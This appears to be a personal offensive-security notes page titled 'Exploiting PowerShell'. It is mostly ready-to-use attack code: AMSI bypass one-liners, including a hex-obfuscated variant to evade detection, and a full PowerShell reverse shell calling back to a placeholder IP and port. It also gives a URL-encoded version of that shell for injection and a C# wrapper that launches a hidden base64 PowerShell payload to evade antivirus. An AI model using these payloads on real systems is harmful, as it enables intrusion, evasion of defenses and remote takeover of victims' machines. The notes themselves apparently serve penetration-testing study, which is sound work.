Exploiting PowerShell

author: Nathan Acks
date: 2022-09-02

Disable AMSI

Windows Defender uses a process called AMSI that triggers when a script is run in PowerShell (this includes invocations of IEX for in-memory scripts!).

One bypass for this:

[REF].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Note that AMSI uses a regular expression to trap all PowerShell commands that contain AMSI-function related strings, however. This can be bypassed by breaking up the above script into separate variables, or by doing fancy string encoding-and-reassembly tricks.

[REF].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

Be aware that AMSI bypasses are per session, not global!

Pure PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('<IP>', <PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | %{0};
while (( $i = $stream.Read($bytes, 0, $bytes.Length) ) -ne 0) {
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
	$sendback = ( iex $data 2>&1 | Out-String );
	$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ( [text.encoding]::ASCII ).GetBytes($sendback2);
	$stream.Write($sendbyte, 0, $sendbyte.Length);
	$stream.Flush()
}
$client.Close()

URL-encoded version (uses powershell -c "$CODE"):

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

Note that <IP> and <PORT> need to be appropriately replaced in the above code.

One annoying thing about this reverse shell… There’s no initial prompt, so you have no idea whether you’ve connected or not. but as soon as you enter a command (whoami, etc.), a prompt will appear after the output. On the plus side, however, this reverse shell will persist even after the PHP script times out!

Relevant Tweet

Powershell reverse shell back to netcat listener. netcat is not needed on the target box for this technique to work. (rootsecdev) (Twitter)

Compile C# Programs to Bypass Anti Virus

C# can be used to bypass AV (at least as of September 2022) - just create a C# wrapper that fires up a PowerShell one-liner. (Sometimes this will need to be modified slightly to bypass AV, but generally you don’t have to tweak this code much - C# analysis doesn’t seem to be particularly robust for most AV products.)

using System;
namespace Game
{
	public class Program
	{
		public static void Main() {
			System.Diagnostics.Process P = new System.Diagnostics.Process();
			System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
			SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
			SI.FileName = "powershell.exe";
			SI.Arguments = "-enc $BASE64_ENCODED_SCRIPT_TO_RUN";
			P.StartInfo = SI;
			P.Start();
		}
	}
}

This can be compiled using PowerShell - perhaps even on the target itself. What’s the advantage to doing this? You can use Invoke-Mimikatz to run this binary remotely to quickly obtain a remote shell with the permissions of the user you’re impersonating.

$code = @"
using System;
namespace Game
{
	public class Program
	{
		public static void Main() {
			System.Diagnostics.Process P = new System.Diagnostics.Process();
			System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
			SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
			SI.FileName = "powershell.exe";
			SI.Arguments = "-enc $BASE64_ENCODED_SCRIPT_TO_RUN";
			P.StartInfo = SI;
			P.Start();
		}
	}
}
"@
Add-Type -outputtype consoleapplication -outputassembly $BINARY_NAME -TypeDefinition $code -Language CSharp